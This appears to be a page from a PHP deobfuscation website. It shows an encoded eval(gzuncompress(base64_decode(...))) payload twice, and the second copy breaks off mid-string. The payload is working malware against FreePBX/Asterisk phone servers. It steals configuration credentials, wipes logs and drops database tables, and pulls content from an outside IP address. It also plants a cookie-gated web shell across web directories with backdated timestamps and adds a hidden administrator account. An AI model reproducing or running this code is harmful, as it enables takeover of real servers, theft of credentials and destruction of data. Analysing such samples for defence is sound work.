Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(gzuncompress(base64_decode("PD9waHAgaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7..
Decoded Output download
<?php
eval(gzuncompress(base64_decode("PD9waHAgaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7CiRmaWxlID0gaXNfZmlsZSgiL2V0Yy9hc3Rlcmlzay9mcmVlcGJ4LmNvbmYiKSA/ICIvZXRjL2FzdGVyaXNrL2ZyZWVwYnguY29uZiIgOiAiL2V0Yy9mcmVlcGJ4LmNvbmYiOwppc19maWxlKCRmaWxlKSA/IGV2YWwoc3RyX3JlcGxhY2UoYXJyYXkoJzw/cGhwJywgJz8+JywgJ3JlcXVpcmUnLCAnaW5jbHVkZScpLCBhcnJheSgnJywgJycsICcjcmVxdWlyZScsICcjaW5jbHVkZScpLCBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpKSA6ICcnOwokYW1wX2NvbmYgPSAoaXNzZXQoJGFtcF9jb25mKSA/ICRhbXBfY29uZiA6IGFycmF5KCkpOwokYW1wb3J0YWwgPSBhcnJheSgpOwpmb3JlYWNoIChleHBsb2RlKCIKIiwgZmlsZV9nZXRfY29udGVudHMoIi9ldGMvYW1wb3J0YWwuY29uZiIpKSBhcyAka2V5ID0+ICR2YWwpIHsKICAgIGlmIChwcmVnX21hdGNoX2FsbCgiLz0vIiwgJHZhbCwgJGFtcDMpKSB7CiAgICAgICAgJGV4eCA9IGV4cGxvZGUoIj0iLCAkdmFsKTsKICAgICAgICAkYW1wb3J0YWxbJGV4eFswXV0gPSB0cmltKChpc3NldCgkYW1wX2NvbmZbJGV4eFswXV0pID8gJGFtcF9jb25mWyRleHhbMF1dIDogc3RyX3JlcGxhY2UoJGV4eFswXSAuICc9JywgJycsICR2YWwpKSk7CiAgICB9Cn0KJGFtcCA9IGFycmF5X21lcmdlKGFycmF5KCdBTVBEQlVTRVInID0+ICdhc3Rlcmlza3VzZXInLCAnQU1QREJOQU1FJyA9PiAnYXN0ZXJpc2snKSwgJGFtcF9jb25mLCAkYW1wb3J0YWwpOwokb2xkY3dkID0gZ2V0Y3dkKCk7CmlzX2RpcigkYW1wWyJBTVBXRUJST09UIl0pID8gY2hkaXIoJGFtcFsiQU1QV0VCUk9PVCJdKSA6ICIiOwokZnJlZXNwYWNlID0gKGRpc2tfZnJlZV9zcGFjZShnZXRjd2QoKSkgLyAxMDI0IC8gMTAyNCk7CmlmICgkZnJlZXNwYWNlIDwgMTAwKSB7CiAgICBAZXhlYygibm9odXAgZmluZCAvdmFyL2xvZy8gLXR5cGUgZiB8IHhhcmdzIC1JIHt9IGNwIC9kZXYvbnVsbCB7fSAmIik7CiAgICBAZXhlYygibm9odXAgcm0gL3RtcC8qIC92YXIvc3Bvb2wvYXN0ZXJpc2svbW9uaXRvci8qIC92YXIvd3d3L2JhY2t1cC8qLmd6ICYiKTsKfQpAZXhlYygiY2htb2QgMDAwMCAvdmFyL3d3dy9odG1sL2EyYmlsbGluZy8iKTsKJGEyYiA9IG5ldyBzaW1wbGVfZGJfY29ubmVjdCgkYW1wWydBTVBEQkhPU1QnXSwgJ2EyYmlsbGluZ3VzZXInLCAnYTJiaWxsaW5nJyk7CiRhMmItPnNlbGVjdF9kYignbXlhMmJpbGxpbmcnKTsKJGEyYi0+cXVlcnkoJ2Ryb3AgdGFibGUgY2NfdWlfYXV0aGVuJyk7CiRhMmItPnF1ZXJ5KCdkcm9wIHRhYmxlIGNjX2FnZW50Jyk7CiRhMmItPnF1ZXJ5KCdkcm9wIHRhYmxlIGNjX3N5c3RlbV9sb2cnKTsKJGRpcnMgPSBhcnJheSgkb2xkY3dkIC4gJy8nLCBnZXRjd2QoKSAuICcvJywgJy92YXIvd3d3L2h0bWwvJywgJy92YXIvd3d3LycsICcvdmFyL3d3dy9mcmVlcGJ4LycsICcvdmFyL3d3dy9sb2NhbGhvc3QvJywgJy9vcHQvZnJlZXBieC8nKTsKZm9yZWFjaCAoJGRpcnMgYXMgJEsgPT4gJFYpIHsKICAgICRkaXJzW10gPSAkViAuICdwYW5lbC8nOwogICAgJGRpcnNbXSA9ICRWIC4gJ3JlY29yZGluZ3MvJzsKICAgICRkaXJzW10gPSAkViAuICd2dGlnZXJjcm0vJzsKICAgICRkaXJzW10gPSAkViAuICdwdWJsaWNfaHRtbC8nOwogICAgJGRpcnNbXSA9ICRWIC4gJ2h0bWwvJzsKICAgICRkaXJzW10gPSAkViAuICdmcmVlcGJ4Lyc7Cn0KJGRpcnMgPSBhcnJheV91bmlxdWUoJGRpcnMpOwpzb3J0KCRkaXJzKTsKJGNvbnRlbnRzID0gYXJyYXkoJ2MnID0+IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vMzcuNDkuMjMwLjc0L3Rlc3QudHh0JyksICdjb2RlcycgPT4gJzw/cGhwICRjbWQ9KChpc3NldCgkX0NPT0tJRVsidDNycjByIl0pKSAmJiAobWQ1KHNoYTEoJF9DT09LSUVbInQzcnIwciJdKSk9PSI1ZTkzZjMwNzIxOTFlNWFkZDZjNGJkOWMxYTg5YzgwNyIpKT8gJF9DT09LSUVbImNtZCJdOiAiZWNobyBcJ1VuYXV0aG9yaXplZCBUXCciOyAgc3lzdGVtKCRjbWQpOyA/PicpOwokZnJlZXNwYWNlID0gKGRpc2tfZnJlZV9zcGFjZShnZXRjd2QoKSkgLyAxMDI0IC8gMTAyNCk7CmlmICgkZnJlZXNwYWNlID4gMTAwKSB7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkayA9PiAkd2hlcmUpIHsKICAgICAgICBpZiAoaXNfZGlyKCR3aGVyZSkpIHsKICAgICAgICAgICAgKGlzX3dyaXRlYWJsZSgkd2hlcmUpKSA/IHdyaXRlX2Rpcigkd2hlcmUpIDogJyc7CiAgICAgICAgICAgICRvZCA9IG9wZW5kaXIoJHdoZXJlKTsKICAgICAgICAgICAgd2hpbGUgKCRyZCA9IHJlYWRkaXIoJG9kKSkgewogICAgICAgICAgICAgICAgJHdkID0gJHdoZXJlIC4gJy8nIC4gJHJkOwogICAgICAgICAgICAgICAgKCgkcmQgIT0gJy4uJykgJiYgKCRyZCAhPSAnLicpICYmIGlzX3dyaXRlYWJsZSgkd2QpICYmIGlzX2Rpcigkd2QpKSA/IHdyaXRlX2Rpcigkd2QpIDogJyc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbW9kdWxlcy9fY2FjaGUvIik7CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbW9kdWxlcy8iKTsKICAgIGljd3JpdGVfZGlycygiL3Zhci93d3cvaHRtbC9hZG1pbi9hc3NldHMvIik7CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbGlicmFyaWVzLyIpOwogICAgaWN3cml0ZV9kaXJzKCIvdmFyL3d3dy9odG1sL3JlY29yZGluZ3MvbWlzYy8iKTsKICAgIGljd3JpdGVfZGlycygiL3Zhci93d3cvaHRtbC9yZWNvcmRpbmdzL2xhbmcvIik7Cn0KJHBhc3MgPSByYW5kb21fcGFzc3dvcmQoKTsKaWYgKGNvdW50KCRhbXApID4gMykgewogICAgZWNobyAiClsrXSBDb25maWcgRmV0Y2hlZCAuLiI7CiAgICAkZGIgPSBuZXcgc2ltcGxlX2RiX2Nvbm5lY3QoJGFtcFsnQU1QREJIT1NUJ10sICRhbXBbJ0FNUERCVVNFUiddLCAkYW1wWydBTVBEQlBBU1MnXSk7CiAgICBlY2hvICIKWytdIENvbm5lY3RlZCBUbyBEYXRhYmFzZSBzZXJ2ZXIgLi4iOwogICAgJGRiLT5zZWxlY3RfZGIoJGFtcFsnQU1QREJOQU1FJ10pOwogICAgZWNobyAiClsrXSBDb25uZWN0ZWQgVG8gRGF0YWJhc2UgLi4iOwogICAgJGRiLT5xdWVyeSgiZGVsZXRlIGZyb20gYW1wdXNlcnMgd2hlcmUgdXNlcm5hbWU9J2F0bWluJyIsICcKWy1dIElzc3VlIERlbGV0aW5nIFVzZXInKTsKICAgICRxdWVyeSA9ICRkYi0+cXVlcnkoIklOU0VSVCBJTlRPIGBhbXB1c2Vyc2AgKCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRfc2hhMWAsIGBzZWN0aW9uc2AgKSBWQUxVRVMgKCAnYXRtaW4nLCAnIiAuIHNoYTEoJHBhc3MpIC4gIicsICcqJyApOyIsICIKWy1dIFdyb25nIENvbHVtbiAsLCB0cnlpbmcgYW5vdGhlciBjb2x1bW4gLi4iKTsKICAgIGlmICghJHF1ZXJ5KSB7CiAgICAgICAgJHF1ZXJ5ID0gJGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gYGFtcHVzZXJzYCAoIGB1c2VybmFtZWAsIGBwYXNzd29yZGAsIGBzZWN0aW9uc2AgKSBWQUxVRVMgKCAnYXRtaW4nLCAnJHBhc3MnLCAnKicgKTsiLCAiClstXUNvdWxkbid0IERldGVybWluZSBDb2x1bW4gLi4gU2hvdWxkIEFkZCBhZG1pbiBNYW51YWxseSAuLiIpOwogICAgfQogICAgaWYgKCRxdWVyeSkgewogICAgICAgIGVjaG8gIgpbK10gQWRtaW4gVXNlciBBZGRlZCAuLgpbK10gYXRtaW4gOiAkcGFzcwoiOwogICAgfQogICAgaXNfZGlyKCIuLi9hZG1pbiIpID8gQHN5bWxpbmsoJy4uL2FkbWluJywgJ2F0bWluJykgOiAiIjsKICAgIGlzX2RpcigiL3Zhci93d3cvaHRtbC9hZG1pbiIpID8gQHN5bWxpbmsoJy92YXIvd3d3L2h0bWwvYWRtaW4nLCAnL3Zhci93d3cvaHRtbC9yZWNvcmRpbmdzL2F0bWluJykgOiAiIjsKfSBlbHNlIHsKICAgIGVjaG8gIgpbLV0gU2hvdWxkIFdvcmsgTWFudWFsbHkgb24gdGhpcyBzZXJ2ZXIgLi4KIjsKfQppZiAoaXNfZmlsZSgiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0RCLmNsYXNzLnBocCIpKSB7CiAgICBpbmNsdWRlX29uY2UgIi92YXIvd3d3L2h0bWwvbGlicy9wYWxvU2FudG9EQi5jbGFzcy5waHAiOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvQUNMLmNsYXNzLnBocCI7CiAgICAkcERCID0gbmV3IHBhbG9EQigic3FsaXRlMzovLy8vdmFyL3d3dy9kYi9hY2wuZGIiKTsKICAgICRwQUNMID0gbmV3IHBhbG9BQ0woJHBEQik7CiAgICAkcXVlcnkgPSAiU0VMRUNUIGlkIGZyb20gYWNsX3VzZXIgd2hlcmUgbmFtZT0nYXRtaW4nIjsKICAgICRpZGRiID0gJHBEQi0+ZmV0Y2hUYWJsZSgkcXVlcnkpOwogICAgJHRpZCA9ICRpZGRiWzBdWzBdOwogICAgaWYgKCR0aWQgPCAyKSB7CiAgICAgICAgJHBBQ0wtPmNyZWF0ZVVzZXIoJ2F0bWluJywgJycsIG1kNSgkcGFzcyksICcnKTsKICAgICAgICAkaWRkYiA9ICRwREItPmZldGNoVGFibGUoJHF1ZXJ5KTsKICAgICAgICAkdGlkID0gJGlkZGJbMF1bMF07CiAgICB9CiAgICAkcEFDTC0+Y2hhbmdlUGFzc3dvcmQoJHRpZCwgbWQ1KCRwYXNzKSk7CiAgICAkcEFDTC0+YWRkVG9Hcm91cCgkdGlkLCAxKTsKICAgIGVjaG8gIgpbK10gQWRtaW4gVXNlciBBZGRlZCAuLgpbK10gYXRtaW4gOiAkcGFzcwoiOwp9CmVjaG8gIi0tLS0tLS0tLS0tQU1QREItLS0tLS0tLS0tLQoiOwpAc3lzdGVtKCJncmVwIEFNUERCIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLUFSSV9BRE1JTi0tLS0tLS0tLS0tCiI7CkBzeXN0ZW0oImdyZXAgQVJJX0FETUlOIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLUFNUE1HUi0tLS0tLS0tLS0tCiI7CkBzeXN0ZW0oImdyZXAgQU1QTUdSIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLVBBU1MtLS0tLS0tLS0tLQoiOwpAc3lzdGVtKCJncmVwIFBBU1MgL2V0Yy9hbXBvcnRhbC5jb25mIik7CmVjaG8gIi0tLS0tLS0tLS0tLVRoYXRzLUFsbC0tLS0tLS0tLS0KIjsKZnVuY3Rpb24gd3JpdGVfZGlyKCR3aGVyZSkgewogICAgd3JpdGVfZmlsZSgkd2hlcmUgLiAnL2NvbmZpZy5hbGwucGhwJywgJ2MnKTsKICAgIHdyaXRlX2ZpbGUoJHdoZXJlIC4gJy9waHB2ZXJzaW9ucy5waHAnLCAnY29kZXMnKTsKfQpmdW5jdGlvbiBpY3dyaXRlX2RpcnMoJHdoZXJlKSB7CiAgICB3cml0ZV9maWxlKCR3aGVyZSAuICcvY29uZmlnLnBocCcsICdjJyk7CiAgICB3cml0ZV9maWxlKCR3aGVyZSAuICcvaW5kZXgucGhwJywgJ2NvZGVzJyk7Cn0KZnVuY3Rpb24gd3JpdGVfZmlsZSgkZm5hbWUsICR3dHcpIHsKICAgIEdMT0JBTCAkY29udGVudHM7CiAgICBpZiAoJGNvbnRlbnRzWyR3dHddICE9PSAnJykgewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmbmFtZSwgJGNvbnRlbnRzWyR3dHddKTsKICAgICAgICB0b3VjaCgkZm5hbWUsIHN0cnRvdGltZSgnLTEwIHllYXJzJywgdGltZSgpKSk7CiAgICB9Cn0KZnVuY3Rpb24gcmFuZG9tX3Bhc3N3b3JkKCRsZW5ndGggPSA3KSB7CiAgICAkc2V0ID0gYXJyYXlfbWVyZ2UocmFuZ2UoJ0EnLCAnWicpLCByYW5nZSgnYScsICd6JyksIHJhbmdlKCcwJywgJzknKSk7CiAgICAkc3RyID0gJ3QnOwogICAgZm9yICgkaSA9IDA7JGkgPCAkbGVuZ3RoOyRpKyspIHsKICAgICAgICAkc3RyLj0gJHNldFtyYW5kKDAsIGNvdW50KCRzZXQpIC0gMSkgXTsKICAgIH0KICAgIHJldHVybiAkc3RyOwp9CmNsYXNzIHNpbXBsZV9kYl9jb25uZWN0IHsKICAgIHZhciAkbGluazsKICAgIGZ1bmN0aW9uIHNpbXBsZV9kYl9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCkgewogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9jb25uZWN0JykpIHsKICAgICAgICAgICAgJHRoaXMtPmxpbmsgPSBteXNxbGlfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpIG9yIHByaW50IChteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHsKICAgICAgICAgICAgJHRoaXMtPmxpbmsgPSBteXNxbF9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCkgb3IgcHJpbnQgKG15c3FsX2Vycm9yKCkpOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNlbGVjdF9kYigkZGJuYW1lKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX3NlbGVjdF9kYicpKSB7CiAgICAgICAgICAgIG15c3FsaV9zZWxlY3RfZGIoJHRoaXMtPmxpbmssICRkYm5hbWUpIG9yIHByaW50IChteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZWxlY3RfZGInKSkgewogICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJHRoaXMtPmxpbmspIG9yIHByaW50IChteXNxbF9lcnJvcigpKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICBmdW5jdGlvbiBxdWVyeSgkcXVlcnlfZGF0YSwgJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgICAgIGdsb2JhbCAkY29uOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9xdWVyeScpKSB7CiAgICAgICAgICAgICRxdWVyeSA9IG15c3FsaV9xdWVyeSgkdGhpcy0+bGluaywgJHF1ZXJ5X2RhdGEpIG9yIHByaW50ICgkZXJyb3JfbWVzc2FnZSAuIG15c3FsaV9lcnJvcigkdGhpcy0+bGluaykpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX3F1ZXJ5JykpIHsKICAgICAgICAgICAgJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5X2RhdGEsICR0aGlzLT5saW5rKSBvciBwcmludCAoJGVycm9yX21lc3NhZ2UgLiBteXNxbF9lcnJvcigpKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRxdWVyeTsKICAgIH0KfQpAc3lzdGVtKCJybSAtcmYgL3RtcC8qLnR4dCAvdG1wLyoucGhwIik7")));
?>
Did this file decode correctly?
Original Code
<?php
eval(gzuncompress(base64_decode("PD9waHAgaW5pX3NldCgnZXJyb3JfcmVwb3J0aW5nJywgMCk7CiRmaWxlID0gaXNfZmlsZSgiL2V0Yy9hc3Rlcmlzay9mcmVlcGJ4LmNvbmYiKSA/ICIvZXRjL2FzdGVyaXNrL2ZyZWVwYnguY29uZiIgOiAiL2V0Yy9mcmVlcGJ4LmNvbmYiOwppc19maWxlKCRmaWxlKSA/IGV2YWwoc3RyX3JlcGxhY2UoYXJyYXkoJzw/cGhwJywgJz8+JywgJ3JlcXVpcmUnLCAnaW5jbHVkZScpLCBhcnJheSgnJywgJycsICcjcmVxdWlyZScsICcjaW5jbHVkZScpLCBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpKSA6ICcnOwokYW1wX2NvbmYgPSAoaXNzZXQoJGFtcF9jb25mKSA/ICRhbXBfY29uZiA6IGFycmF5KCkpOwokYW1wb3J0YWwgPSBhcnJheSgpOwpmb3JlYWNoIChleHBsb2RlKCIKIiwgZmlsZV9nZXRfY29udGVudHMoIi9ldGMvYW1wb3J0YWwuY29uZiIpKSBhcyAka2V5ID0+ICR2YWwpIHsKICAgIGlmIChwcmVnX21hdGNoX2FsbCgiLz0vIiwgJHZhbCwgJGFtcDMpKSB7CiAgICAgICAgJGV4eCA9IGV4cGxvZGUoIj0iLCAkdmFsKTsKICAgICAgICAkYW1wb3J0YWxbJGV4eFswXV0gPSB0cmltKChpc3NldCgkYW1wX2NvbmZbJGV4eFswXV0pID8gJGFtcF9jb25mWyRleHhbMF1dIDogc3RyX3JlcGxhY2UoJGV4eFswXSAuICc9JywgJycsICR2YWwpKSk7CiAgICB9Cn0KJGFtcCA9IGFycmF5X21lcmdlKGFycmF5KCdBTVBEQlVTRVInID0+ICdhc3Rlcmlza3VzZXInLCAnQU1QREJOQU1FJyA9PiAnYXN0ZXJpc2snKSwgJGFtcF9jb25mLCAkYW1wb3J0YWwpOwokb2xkY3dkID0gZ2V0Y3dkKCk7CmlzX2RpcigkYW1wWyJBTVBXRUJST09UIl0pID8gY2hkaXIoJGFtcFsiQU1QV0VCUk9PVCJdKSA6ICIiOwokZnJlZXNwYWNlID0gKGRpc2tfZnJlZV9zcGFjZShnZXRjd2QoKSkgLyAxMDI0IC8gMTAyNCk7CmlmICgkZnJlZXNwYWNlIDwgMTAwKSB7CiAgICBAZXhlYygibm9odXAgZmluZCAvdmFyL2xvZy8gLXR5cGUgZiB8IHhhcmdzIC1JIHt9IGNwIC9kZXYvbnVsbCB7fSAmIik7CiAgICBAZXhlYygibm9odXAgcm0gL3RtcC8qIC92YXIvc3Bvb2wvYXN0ZXJpc2svbW9uaXRvci8qIC92YXIvd3d3L2JhY2t1cC8qLmd6ICYiKTsKfQpAZXhlYygiY2htb2QgMDAwMCAvdmFyL3d3dy9odG1sL2EyYmlsbGluZy8iKTsKJGEyYiA9IG5ldyBzaW1wbGVfZGJfY29ubmVjdCgkYW1wWydBTVBEQkhPU1QnXSwgJ2EyYmlsbGluZ3VzZXInLCAnYTJiaWxsaW5nJyk7CiRhMmItPnNlbGVjdF9kYignbXlhMmJpbGxpbmcnKTsKJGEyYi0+cXVlcnkoJ2Ryb3AgdGFibGUgY2NfdWlfYXV0aGVuJyk7CiRhMmItPnF1ZXJ5KCdkcm9wIHRhYmxlIGNjX2FnZW50Jyk7CiRhMmItPnF1ZXJ5KCdkcm9wIHRhYmxlIGNjX3N5c3RlbV9sb2cnKTsKJGRpcnMgPSBhcnJheSgkb2xkY3dkIC4gJy8nLCBnZXRjd2QoKSAuICcvJywgJy92YXIvd3d3L2h0bWwvJywgJy92YXIvd3d3LycsICcvdmFyL3d3dy9mcmVlcGJ4LycsICcvdmFyL3d3dy9sb2NhbGhvc3QvJywgJy9vcHQvZnJlZXBieC8nKTsKZm9yZWFjaCAoJGRpcnMgYXMgJEsgPT4gJFYpIHsKICAgICRkaXJzW10gPSAkViAuICdwYW5lbC8nOwogICAgJGRpcnNbXSA9ICRWIC4gJ3JlY29yZGluZ3MvJzsKICAgICRkaXJzW10gPSAkViAuICd2dGlnZXJjcm0vJzsKICAgICRkaXJzW10gPSAkViAuICdwdWJsaWNfaHRtbC8nOwogICAgJGRpcnNbXSA9ICRWIC4gJ2h0bWwvJzsKICAgICRkaXJzW10gPSAkViAuICdmcmVlcGJ4Lyc7Cn0KJGRpcnMgPSBhcnJheV91bmlxdWUoJGRpcnMpOwpzb3J0KCRkaXJzKTsKJGNvbnRlbnRzID0gYXJyYXkoJ2MnID0+IGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vMzcuNDkuMjMwLjc0L3Rlc3QudHh0JyksICdjb2RlcycgPT4gJzw/cGhwICRjbWQ9KChpc3NldCgkX0NPT0tJRVsidDNycjByIl0pKSAmJiAobWQ1KHNoYTEoJF9DT09LSUVbInQzcnIwciJdKSk9PSI1ZTkzZjMwNzIxOTFlNWFkZDZjNGJkOWMxYTg5YzgwNyIpKT8gJF9DT09LSUVbImNtZCJdOiAiZWNobyBcJ1VuYXV0aG9yaXplZCBUXCciOyAgc3lzdGVtKCRjbWQpOyA/PicpOwokZnJlZXNwYWNlID0gKGRpc2tfZnJlZV9zcGFjZShnZXRjd2QoKSkgLyAxMDI0IC8gMTAyNCk7CmlmICgkZnJlZXNwYWNlID4gMTAwKSB7CiAgICBmb3JlYWNoICgkZGlycyBhcyAkayA9PiAkd2hlcmUpIHsKICAgICAgICBpZiAoaXNfZGlyKCR3aGVyZSkpIHsKICAgICAgICAgICAgKGlzX3dyaXRlYWJsZSgkd2hlcmUpKSA/IHdyaXRlX2Rpcigkd2hlcmUpIDogJyc7CiAgICAgICAgICAgICRvZCA9IG9wZW5kaXIoJHdoZXJlKTsKICAgICAgICAgICAgd2hpbGUgKCRyZCA9IHJlYWRkaXIoJG9kKSkgewogICAgICAgICAgICAgICAgJHdkID0gJHdoZXJlIC4gJy8nIC4gJHJkOwogICAgICAgICAgICAgICAgKCgkcmQgIT0gJy4uJykgJiYgKCRyZCAhPSAnLicpICYmIGlzX3dyaXRlYWJsZSgkd2QpICYmIGlzX2Rpcigkd2QpKSA/IHdyaXRlX2Rpcigkd2QpIDogJyc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbW9kdWxlcy9fY2FjaGUvIik7CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbW9kdWxlcy8iKTsKICAgIGljd3JpdGVfZGlycygiL3Zhci93d3cvaHRtbC9hZG1pbi9hc3NldHMvIik7CiAgICBpY3dyaXRlX2RpcnMoIi92YXIvd3d3L2h0bWwvYWRtaW4vbGlicmFyaWVzLyIpOwogICAgaWN3cml0ZV9kaXJzKCIvdmFyL3d3dy9odG1sL3JlY29yZGluZ3MvbWlzYy8iKTsKICAgIGljd3JpdGVfZGlycygiL3Zhci93d3cvaHRtbC9yZWNvcmRpbmdzL2xhbmcvIik7Cn0KJHBhc3MgPSByYW5kb21fcGFzc3dvcmQoKTsKaWYgKGNvdW50KCRhbXApID4gMykgewogICAgZWNobyAiClsrXSBDb25maWcgRmV0Y2hlZCAuLiI7CiAgICAkZGIgPSBuZXcgc2ltcGxlX2RiX2Nvbm5lY3QoJGFtcFsnQU1QREJIT1NUJ10sICRhbXBbJ0FNUERCVVNFUiddLCAkYW1wWydBTVBEQlBBU1MnXSk7CiAgICBlY2hvICIKWytdIENvbm5lY3RlZCBUbyBEYXRhYmFzZSBzZXJ2ZXIgLi4iOwogICAgJGRiLT5zZWxlY3RfZGIoJGFtcFsnQU1QREJOQU1FJ10pOwogICAgZWNobyAiClsrXSBDb25uZWN0ZWQgVG8gRGF0YWJhc2UgLi4iOwogICAgJGRiLT5xdWVyeSgiZGVsZXRlIGZyb20gYW1wdXNlcnMgd2hlcmUgdXNlcm5hbWU9J2F0bWluJyIsICcKWy1dIElzc3VlIERlbGV0aW5nIFVzZXInKTsKICAgICRxdWVyeSA9ICRkYi0+cXVlcnkoIklOU0VSVCBJTlRPIGBhbXB1c2Vyc2AgKCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRfc2hhMWAsIGBzZWN0aW9uc2AgKSBWQUxVRVMgKCAnYXRtaW4nLCAnIiAuIHNoYTEoJHBhc3MpIC4gIicsICcqJyApOyIsICIKWy1dIFdyb25nIENvbHVtbiAsLCB0cnlpbmcgYW5vdGhlciBjb2x1bW4gLi4iKTsKICAgIGlmICghJHF1ZXJ5KSB7CiAgICAgICAgJHF1ZXJ5ID0gJGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gYGFtcHVzZXJzYCAoIGB1c2VybmFtZWAsIGBwYXNzd29yZGAsIGBzZWN0aW9uc2AgKSBWQUxVRVMgKCAnYXRtaW4nLCAnJHBhc3MnLCAnKicgKTsiLCAiClstXUNvdWxkbid0IERldGVybWluZSBDb2x1bW4gLi4gU2hvdWxkIEFkZCBhZG1pbiBNYW51YWxseSAuLiIpOwogICAgfQogICAgaWYgKCRxdWVyeSkgewogICAgICAgIGVjaG8gIgpbK10gQWRtaW4gVXNlciBBZGRlZCAuLgpbK10gYXRtaW4gOiAkcGFzcwoiOwogICAgfQogICAgaXNfZGlyKCIuLi9hZG1pbiIpID8gQHN5bWxpbmsoJy4uL2FkbWluJywgJ2F0bWluJykgOiAiIjsKICAgIGlzX2RpcigiL3Zhci93d3cvaHRtbC9hZG1pbiIpID8gQHN5bWxpbmsoJy92YXIvd3d3L2h0bWwvYWRtaW4nLCAnL3Zhci93d3cvaHRtbC9yZWNvcmRpbmdzL2F0bWluJykgOiAiIjsKfSBlbHNlIHsKICAgIGVjaG8gIgpbLV0gU2hvdWxkIFdvcmsgTWFudWFsbHkgb24gdGhpcyBzZXJ2ZXIgLi4KIjsKfQppZiAoaXNfZmlsZSgiL3Zhci93d3cvaHRtbC9saWJzL3BhbG9TYW50b0RCLmNsYXNzLnBocCIpKSB7CiAgICBpbmNsdWRlX29uY2UgIi92YXIvd3d3L2h0bWwvbGlicy9wYWxvU2FudG9EQi5jbGFzcy5waHAiOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvQUNMLmNsYXNzLnBocCI7CiAgICAkcERCID0gbmV3IHBhbG9EQigic3FsaXRlMzovLy8vdmFyL3d3dy9kYi9hY2wuZGIiKTsKICAgICRwQUNMID0gbmV3IHBhbG9BQ0woJHBEQik7CiAgICAkcXVlcnkgPSAiU0VMRUNUIGlkIGZyb20gYWNsX3VzZXIgd2hlcmUgbmFtZT0nYXRtaW4nIjsKICAgICRpZGRiID0gJHBEQi0+ZmV0Y2hUYWJsZSgkcXVlcnkpOwogICAgJHRpZCA9ICRpZGRiWzBdWzBdOwogICAgaWYgKCR0aWQgPCAyKSB7CiAgICAgICAgJHBBQ0wtPmNyZWF0ZVVzZXIoJ2F0bWluJywgJycsIG1kNSgkcGFzcyksICcnKTsKICAgICAgICAkaWRkYiA9ICRwREItPmZldGNoVGFibGUoJHF1ZXJ5KTsKICAgICAgICAkdGlkID0gJGlkZGJbMF1bMF07CiAgICB9CiAgICAkcEFDTC0+Y2hhbmdlUGFzc3dvcmQoJHRpZCwgbWQ1KCRwYXNzKSk7CiAgICAkcEFDTC0+YWRkVG9Hcm91cCgkdGlkLCAxKTsKICAgIGVjaG8gIgpbK10gQWRtaW4gVXNlciBBZGRlZCAuLgpbK10gYXRtaW4gOiAkcGFzcwoiOwp9CmVjaG8gIi0tLS0tLS0tLS0tQU1QREItLS0tLS0tLS0tLQoiOwpAc3lzdGVtKCJncmVwIEFNUERCIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLUFSSV9BRE1JTi0tLS0tLS0tLS0tCiI7CkBzeXN0ZW0oImdyZXAgQVJJX0FETUlOIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLUFNUE1HUi0tLS0tLS0tLS0tCiI7CkBzeXN0ZW0oImdyZXAgQU1QTUdSIC9ldGMvYW1wb3J0YWwuY29uZiIpOwplY2hvICItLS0tLS0tLS0tLVBBU1